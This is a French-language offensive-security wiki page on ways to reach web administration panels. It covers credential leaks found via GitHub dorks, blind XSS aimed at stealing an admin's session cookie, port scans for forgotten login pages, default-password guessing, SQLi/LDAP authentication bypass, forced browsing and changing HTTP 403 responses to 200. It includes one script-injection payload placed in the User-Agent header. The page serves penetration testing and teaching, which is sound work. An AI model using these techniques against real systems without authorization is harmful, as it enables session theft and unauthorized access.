🏁Panneaux d'administration

Afin d'accéder à un panneau d'administration, plusieurs méthodes d'offrent à nous:

  1. Trouver des identifiants ou tokens dans un repo Github ou Gitlab.

  2. Trouver une injection blind XSS

  3. Passer par des ports ouverts potentiellement inconnus

  4. Passer par de la falsification de requête

  5. Trouver des identifiants ou tokens hardcodés dans le code source

  6. Manipuler la réponse HTTP

  7. Changer la méthode d'authentification

  8. Exploiter une mauvaise configuration

  9. Trouver des identifiants ayant fuités sur des sites tels que IntelX ou Dehashed

Passer par Github et Gitlab

Github et Gitlab possèdent des dorks permettant de faire des recherches avancées sur leur moteur de recherche. Passer par ces dorks permet de ce fait de rechercher des mots clès et de cibler précisément la cible souhaitée.

Pour apprendre comment utiliser ces dorks, veuillez vous reporter à la section ci-dessous:*

👊pageManuel / Dorks

Vous pourrez aussi retrouver des outils automatisées pouvant vous aider dans cette phase dans la section ci-dessous:

👀pageLeaks

Passer par une injection Blind XSS

Passer par une blind XSS peut permettre notamment de voler le cookie de session de l'administrateur au moment où il consultera une ressource particulière telle que ces logs par exemple. Il est également courant dans les sites de vente en ligne notamment que les commentaires / feedback envoyés pour un produit doivent être validés par un administrateur ce qui en fait un point d'intérêt pour un attaquant souhaitant usurper la session d'un administrateur.

Points d'injection:

  • Formulaires de contact / feedback / commentaire

  • Sondage

  • Entrée de mot de passe

  • Chat / Forum

  • Application de ticketing

  • Description d'utilisateur

  • Nom d'utilisateur (puis reset de mot de passe)

  • Fonctionnalité "d'appel à un expert"

  • En-tête "User-Agent:" (Possibilité de Match & Replace de Burp Suite tel que Match=Votre user agent et Replace="><script src=lien vers xsshunter ou équivalent></script>)

Passer par des ports ouverts insoupçonnés

Faire l'inventaire des ports ouverts pour une cible données en comptant domaine et sous-domaines peut parfois permettre de mettre la main sur des interfaces de connexion potentiellement oubliés et vieillissants pouvant être très facilement contournés soit par l'usage d'identifiant par défauts ou par des identifiants hardcodés etc...

Les étapes à suivre sont donc les suivantes:

  1. Enumération de sous-domaines.

  2. Scan de ports de la liste des sous-domaines.

  3. Listage des interface de connexion.

  4. Tester des wordlists de mots de passes simples / par défaut sur les formulaire de connexion.

  5. Tenter de bypass l'authentification avec des SQLi, LDAP injection etc.

  6. Tenter de trouver des identifiants hardcodés dans le code source.

  7. Tenter de trouver des exploits pouvant vous permettre de passer au travers du mechanisme d'authentification.

Passer par la falsification de requête et la navigation forcée

Pour cela, on va dans un premier temps utiliser des outils tels que gobuster pour fuzz les repertoires du site cible et essayer d'accéder directement au répertoire souhaiter sans passer par celui s'occupant de l'authentification (Vulnérabilité présente notamment dans les sites très anciens).

Exemple:

On a une page de connexion à l'url "https://target.com/admin/" et on sait qu'il y a une nommée "control.php" à l'url "https://target.com/admin/dashboard/control.php" alors au lieu de passer par la première url on entre directement sur la page https://target.com/admin/dashboard/control.php.

Autre possibilité, falsifier la requête. Pour cela, il y a plusieurs façon de falsifier une requête et je vous invite à vous rendre dans la section ci-dessous pour en apprendre d'avantage:

🔓pageBypass

Passer par de l'analyse statique

L'analyse du code source peut également parfois permettre de découvrir des vulnérabilités dans les mécanismes d'authentification et/ou de trouver parfois même des identifiants, tokens, secrets, endpoints etc pouvant permettre d'avoir comme finalité l'accès au panneau d'administration de la cible.

Pour découvrir l'analyse statique, veuillez vous reporter à la section du même nom:

🗿pageAnalyse statique

Passer la manipulation de réponse

Changer la réponse HTTP de 403 à 200 peut dans certains cas permettre de faire croire au serveurs que nous avons le droit d'accéder au panneau d'administration alors même que nous ne nous somme pas authentifié.

Pour intercepter la réponse HTTP dans burp:

Proxy -> Options -> Intercept Server Responses

Dernière mise à jour